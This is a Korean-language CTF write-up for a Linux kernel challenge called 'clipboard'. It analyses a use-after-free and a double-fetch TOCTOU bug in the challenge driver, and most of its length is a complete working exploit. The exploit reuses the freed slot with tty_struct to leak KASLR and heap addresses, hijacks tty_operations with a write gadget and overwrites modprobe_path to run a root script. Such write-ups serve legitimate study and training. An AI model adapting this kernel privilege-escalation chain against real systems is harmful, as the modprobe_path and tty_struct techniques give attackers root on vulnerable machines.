clipboard
취약점 분석
1. 전역 clipboard_data의 잘못된 수명 관리로 인한 Use-After-Free
clipboard_open()은 0x400바이트 버퍼를 할당한 뒤 파일별 데이터가 아닌 전역
변수 clipboard_data에 저장한다. 여러 번 장치를 열면 이전 포인터가 유실되고
전역 포인터가 마지막으로 할당한 버퍼를 가리키게 된다.
clipboard_release()도 닫히는 파일과 버퍼의 관계를 확인하지 않고 현재 전역
포인터를 해제한다. 해제 후 포인터를 NULL로 초기화하지도 않는다.
char *clipboard_data;
int clipboard_open(struct inode *inode, struct file *file) {
clipboard_data = kmalloc(MAX_DATA_LEN, GFP_KERNEL);
if (!clipboard_data) {
printk(KERN_ERR "Clipboard: kmalloc error\n");
return -1;
}
memset(clipboard_data, 0, MAX_DATA_LEN);
return 0;
}
int clipboard_release(struct inode *inode, struct file *file) {
kfree(clipboard_data);
return 0;
}다음 순서로 다른 fd가 계속 접근할 수 있는 dangling pointer를 만들 수 있다.
fd1 = open("/dev/clipboard", O_RDWR); // clipboard_data = A
fd2 = open("/dev/clipboard", O_RDWR); // clipboard_data = B, A는 누수
close(fd2); // B 해제, fd1은 계속 사용 가능이후 fd1으로 ioctl()을 호출하면 해제된 B를 계속 읽고 쓸 수 있다.
clipboard_data는 일반 kmalloc-1k 캐시의 객체다. 같은 캐시를 사용하는
tty_struct를 B에 재할당하면 커널 포인터 유출과 함수 포인터 변조가 가능하다.
clipboard_mutex는 clipboard_ioctl() 내부만 직렬화한다. open()과
release()의 전역 포인터 수명은 보호하지 않으므로 이 UAF를 막지 못한다.
2. length를 두 번 읽어서 발생하는 TOCTOU
읽기와 쓰기 요청은 check_*_query()에서 사용자 메모리의 length를 읽어
0x400 이하인지 검사한다. 실제 복사를 담당하는 함수는 같은 사용자 메모리에서
length를 다시 읽는다.
int check_write_query(Query *query) {
unsigned short q_length;
if (copy_from_user(&q_length, &query->length,
sizeof(unsigned short))) {
return 0;
}
/* pid 검사 생략 */
return q_length <= MAX_DATA_LEN && q_pid == c_pid;
}
int write_clipboard_data(Query *query) {
unsigned short q_length, i;
if (copy_from_user(&q_length, &query->length,
sizeof(unsigned short))) {
return 0;
}
for (i = 0; i < q_length; i++) {
if (copy_from_user(&clipboard_data[i], &query->data[i], 1)) {
return i;
}
}
return q_length;
}다른 사용자 스레드가 검사 시점에는 length <= 0x400을 제공하고, 실제 복사
직전에는 값을 최대 0xffff로 변경할 수 있다. 이 double-fetch로
clipboard_data 바깥의 커널 힙을 OOB read/write 할 수 있다. 읽기 경로에도
같은 문제가 있다. 제공된 환경에서 unprivileged userfaultfd가 활성화된 것도
이 경쟁 상태를 안정화하는 데 사용할 수 있다.
최종 익스플로잇은 이 취약점 대신 첫 번째 UAF만 사용한다.
Exploit 과정
Step 1: 전역 포인터 UAF 생성
/dev/clipboard를 두 번 열면 두 번째 할당이 전역 포인터를 덮는다. 두 번째
fd를 닫아 현재 버퍼를 해제하고 첫 번째 fd를 남긴다.
int fd1 = open("/dev/clipboard", O_RDWR);
int fd2 = open("/dev/clipboard", O_RDWR);
close(fd2);하나만 열고 닫으면 이후 사용할 유효한 clipboard fd가 없어진다. 두 개를 열면
하나를 닫아 버퍼를 해제한 뒤에도 다른 fd의 ioctl()로 dangling pointer에
접근할 수 있다.
Step 2: tty_struct 재할당 및 KASLR·힙 주소 유출
clipboard_data는 kmalloc(0x400, GFP_KERNEL)로 할당되어 일반
kmalloc-1k 캐시에 들어간다. 이 커널의 tty_struct 크기는 0x2b8이며
마찬가지로 일반 kmalloc-1k 캐시에서 할당된다.
UAF 객체를 해제한 직후 /dev/ptmx를 열어 해당 자리를 tty_struct로
재사용한다.
int ptmx = open("/dev/ptmx", O_RDWR);
struct req req = {0};
req.pid = getpid();
req.length = 0x400;
ioctl(fd1, 0x4000, &req);tty_struct + 0x18에는 ptm_unix98_ops가 저장된다. 정적 오프셋
0x10a9d00을 빼면 KASLR이 적용된 커널 베이스를 구할 수 있다.
tty_struct + 0x38에는 빈 내부 리스트의 self-pointer가 저장되어 있다. 값이
tty_struct 주소 + 0x38이므로 0x38을 빼면 재할당된 객체 자체의 힙 주소를
구할 수 있다.
uint64_t kbase = *(uint64_t *)(buf + 0x18) - 0x10a9d00;
uint64_t tty_addr = *(uint64_t *)(buf + 0x38) - 0x38;
uint64_t modprobe_path = kbase + 0x1666880;Step 3: 가짜 tty_operations 구성
유출한 tty_struct 전체를 보존한 상태에서 ops 포인터만 객체 내부의
+0x300으로 변경한다. 실제 tty_struct 크기는 0x2b8이므로 0x400
슬롯의 남는 영역을 가짜 함수 테이블로 사용할 수 있다.
이 커널에서 tty_operations.ioctl의 오프셋은 0x60이다. 해당 위치에 다음
쓰기 gadget을 배치한다.
mov qword ptr [rdx + 0x10], rsi
retgadget은 커널 베이스 기준 0x5c97ca에 있다.
uint64_t write_gadget = kbase + 0x5c97ca;
*(uint64_t *)(buf + 0x18) = tty_addr + 0x300;
*(uint64_t *)(buf + 0x300 + 0x60) = write_gadget;
memcpy(req.data, buf, 0x400);
ioctl(fd1, 0x4001, &req);Step 4: modprobe_path 덮어쓰기
ioctl(ptmx, cmd, arg)가 가짜 tty_operations.ioctl을 호출할 때 주요 인자는
다음과 같이 전달된다.
rsi = cmd
rdx = arggadget이 [rdx + 0x10]에 rsi를 저장하므로 arg에
target - 0x10을 전달하면 원하는 주소를 덮을 수 있다.
커널의 ioctl command는 unsigned int이므로 한 번에 제어할 수 있는 데이터는
4바이트다. "/tmp/ex\0"을 "/tmp"와 "/ex\0" 두 청크로 나눠 순서대로
기록한다. gadget은 qword를 쓰므로 낮은 주소의 청크부터 기록해야 두 번째
쓰기가 최종 문자열을 완성한다.
char *new_modprobe_path = "/tmp/ex\0";
ioctl(ptmx,
(uint64_t)*(uint32_t *)new_modprobe_path,
modprobe_path - 0x10);
ioctl(ptmx,
(uint64_t)*(uint32_t *)(new_modprobe_path + 4),
modprobe_path + 4 - 0x10);Step 5: modprobe_path 트리거 및 플래그 획득
루트 권한으로 실행될 /tmp/ex는 /flag의 권한을 변경한다. 알 수 없는
바이너리 형식의 /tmp/dummy를 실행해 request_module()을 유발하면 커널이
변조된 modprobe_path인 /tmp/ex를 root 권한으로 실행한다.
system("echo -ne '#!/bin/sh\nchmod 777 /flag\n' > /tmp/ex");
system("chmod +x /tmp/ex");
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy");
system("chmod +x /tmp/dummy");
system("/tmp/dummy");
system("cat /flag");Exploit Code
#define _GNU_SOURCE
// #include "util/bpf.h"
#include "util/general.h"
#include "util/io_helpers.h"
#include <fcntl.h>
#include <stdint.h>
#include <sys/ioctl.h>
struct req {
uint32_t pid;
uint16_t length;
char data[0x400];
};
int main() {
important("happy hacking!");
int fd1 = open("/dev/clipboard", O_RDWR);
int fd2 = open("/dev/clipboard", O_RDWR);
if (!fd1 || !fd2) {
error("failed to open /dev/clipboard");
return 1;
}
info("opened /dev/clipboard: fd1=%d, fd2=%d", fd1, fd2);
close(fd2);
// open /dev/ptmx at fd2 address
int ptmx = open("/dev/ptmx", O_RDWR);
if (ptmx < 0) {
error("failed to open /dev/ptmx");
}
info("opened /dev/pmtx: fd=%d", ptmx);
// leak tty_struct
struct req req = {0};
req.pid = getpid();
req.length = 0x400;
ioctl(fd1, 0x4000, &req);
char buf[0x400] = {0};
memcpy(buf, req.data, 0x400);
hexdump(buf, 0x400);
uint64_t kbase = *(uint64_t *)(buf + 0x18) - 0x10a9d00;
uint64_t kheap = *(uint64_t *)(buf + 0x38) - 0x38;
uint64_t modprobe_path = kbase + 0x1666880;
info("kbase: 0x%lx", kbase);
info("kheap: 0x%lx", kheap);
info("modprobe_path: 0x%lx", modprobe_path);
uint64_t mov_qword_ptr_rdx_rsi_ret =
kbase + 0x5c97ca; // mov qword ptr [rdx + 0x10], rsi ; ret
// overwrite tty_struct
*(uint64_t *)(buf + 0x18) = kheap + 0x300;
*(uint64_t *)(buf + 0x300 + 0x60) = mov_qword_ptr_rdx_rsi_ret;
memcpy(req.data, buf, 0x400);
ioctl(fd1, 0x4001, &req);
// set up modprobe_path overwrite
system("echo -ne '#!/bin/sh\nchmod 777 /flag\n' > /tmp/ex");
system("chmod +x /tmp/ex");
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy");
system("chmod +x /tmp/dummy");
// modprobe_path overwrite
char *new_modprobe_path = "/tmp/ex\0";
ioctl(ptmx, (uint64_t)*(uint32_t *)new_modprobe_path, modprobe_path - 0x10);
ioctl(ptmx, (uint64_t)*(uint32_t *)(new_modprobe_path + 4),
modprobe_path - 0x10 + 4);
// trigger modprobe_path
system("/tmp/dummy");
system("cat /flag");
return 0;
}